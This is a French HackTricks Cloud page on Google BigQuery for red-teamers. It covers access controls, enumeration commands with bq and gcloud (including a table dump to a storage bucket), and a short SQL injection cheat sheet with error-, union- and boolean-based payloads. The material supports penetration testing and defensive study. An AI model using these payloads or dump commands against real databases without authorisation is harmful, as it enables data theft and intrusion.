GCP - Bigquery Enum
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Google Cloud BigQuery est un entrepĂŽt de donnĂ©es dâentreprise entiĂšrement gĂ©rĂ© et sans serveur, offrant des capacitĂ©s pour lâanalyse de pĂ©taoctets de donnĂ©es, gĂ©rant ainsi efficacement des ensembles de donnĂ©es Ă grande Ă©chelle. En tant que Plateforme en tant que Service (PaaS), elle fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des donnĂ©es sans nĂ©cessiter de supervision manuelle.
Il prend en charge les requĂȘtes utilisant ANSI SQL. Les principaux objets sont des ensembles de donnĂ©es contenant des tables contenant des donnĂ©es SQL.
Chiffrement
Par dĂ©faut, une clĂ© de chiffrement gĂ©rĂ©e par Google est utilisĂ©e, bien quâil soit possible de configurer une clĂ© de chiffrement gĂ©rĂ©e par le client (CMEK). Il est possible dâindiquer la clĂ© de chiffrement par ensemble de donnĂ©es et par table Ă lâintĂ©rieur dâun ensemble de donnĂ©es.
Expiration
Il est possible dâindiquer un temps dâexpiration dans lâensemble de donnĂ©es afin que toute nouvelle table créée dans cet ensemble de donnĂ©es soit automatiquement supprimĂ©e le nombre de jours spĂ©cifiĂ© aprĂšs sa crĂ©ation.
Sources externes
Bigquery est profondĂ©ment intĂ©grĂ© avec dâautres services Google. Il est possible de charger des donnĂ©es Ă partir de buckets, pub/sub, google drive, bases de donnĂ©es RDSâŠ
ACLs dâensemble de donnĂ©es
Lorsquâun ensemble de donnĂ©es est créé, des ACLs sont attachĂ©es pour donner accĂšs Ă celui-ci. Par dĂ©faut, des privilĂšges PropriĂ©taire sont accordĂ©s Ă lâutilisateur qui a créé lâensemble de donnĂ©es, puis PropriĂ©taire au groupe projectOwners (PropriĂ©taires du projet), Ăcrivain au groupe projectWriters, et Lecteur au groupe projectReaders :
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
ContrĂŽle dâaccĂšs aux lignes de table
Il est possible de contrĂŽler les lignes auxquelles un principal pourra accĂ©der dans une table avec des politiques dâaccĂšs aux lignes. Celles-ci sont dĂ©finies Ă lâintĂ©rieur de la table en utilisant DDL.
La politique dâaccĂšs dĂ©finit un filtre et seules les lignes correspondantes Ă ce filtre seront accessibles par les principaux indiquĂ©s.
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
ContrĂŽle dâaccĂšs aux colonnes
.png)
Pour restreindre lâaccĂšs aux donnĂ©es au niveau des colonnes :
- Définir une taxonomie et des étiquettes de politique. Créez et gérez une taxonomie et des étiquettes de politique pour vos données. https://console.cloud.google.com/bigquery/policy-tags
- Optionnel : Accordez le rÎle de lecteur à granularité fine du catalogue de données à un ou plusieurs responsables sur une ou plusieurs des étiquettes de politique que vous avez créées.
- Attribuez des Ă©tiquettes de politique Ă vos colonnes BigQuery. Dans BigQuery, utilisez des annotations de schĂ©ma pour attribuer une Ă©tiquette de politique Ă chaque colonne oĂč vous souhaitez restreindre lâaccĂšs.
- Appliquez le contrĂŽle dâaccĂšs sur la taxonomie. Lâapplication du contrĂŽle dâaccĂšs entraĂźne lâapplication des restrictions dâaccĂšs dĂ©finies pour toutes les Ă©tiquettes de politique dans la taxonomie.
- GĂ©rez lâaccĂšs aux Ă©tiquettes de politique. Utilisez Identity and Access Management (IAM) pour restreindre lâaccĂšs Ă chaque Ă©tiquette de politique. La politique est en vigueur pour chaque colonne qui appartient Ă lâĂ©tiquette de politique.
Lorsquâun utilisateur essaie dâaccĂ©der aux donnĂ©es dâune colonne au moment de la requĂȘte, BigQuery vĂ©rifie lâĂ©tiquette de politique de la colonne et sa politique pour voir si lâutilisateur est autorisĂ© Ă accĂ©der aux donnĂ©es.
Tip
En rĂ©sumĂ©, pour restreindre lâaccĂšs Ă certaines colonnes pour certains utilisateurs, vous pouvez ajouter une Ă©tiquette Ă la colonne dans le schĂ©ma et restreindre lâaccĂšs des utilisateurs Ă lâĂ©tiquette en appliquant un contrĂŽle dâaccĂšs sur la taxonomie de lâĂ©tiquette.
Pour appliquer le contrĂŽle dâaccĂšs sur la taxonomie, il est nĂ©cessaire dâactiver le service :
gcloud services enable bigquerydatapolicy.googleapis.com
Il est possible de voir les tags des colonnes avec :
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
ĂnumĂ©ration
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
Pour plus dâinformations, vous pouvez consulter le blog : https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ici, seuls quelques dĂ©tails vont ĂȘtre fournis.
Commentaires :
select 1#from here it is not workingselect 1/*between those it is not working*/Mais juste le premier ne fonctionnera passelect 1--from here it is not working
Obtenez des informations sur lâenvironnement telles que :
- Utilisateur actuel :
select session_user() - ID de projet :
select @@project_id
Concaténer les lignes :
- Tous les noms de table :
string_agg(table_name, ', ')
Obtenez les datasets, tables et noms de colonnes :
- Nom du projet et nom du dataset :
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- Noms de colonne et noms de table de toutes les tables du jeu de données :
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- Autres ensembles de donnĂ©es dans le mĂȘme projet :
#Â SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
Types dâinjection SQL :
- Basé sur les erreurs - conversion :
select CAST(@@project_id AS INT64) - Basé sur les erreurs - division par zéro :
' OR if(1/(length((select('a')))-1)=1,true,false) OR ' - BasĂ© sur lâunion (vous devez utiliser ALL dans bigquery) :
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# - Basé sur le booléen :
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# - Potentiellement basĂ© sur le temps - Exemple dâutilisation de jeux de donnĂ©es publics :
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentation :
- Liste de toutes les fonctions : https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- Instructions de script : https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Escalade de privilĂšges & Post exploitation
Persistance
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

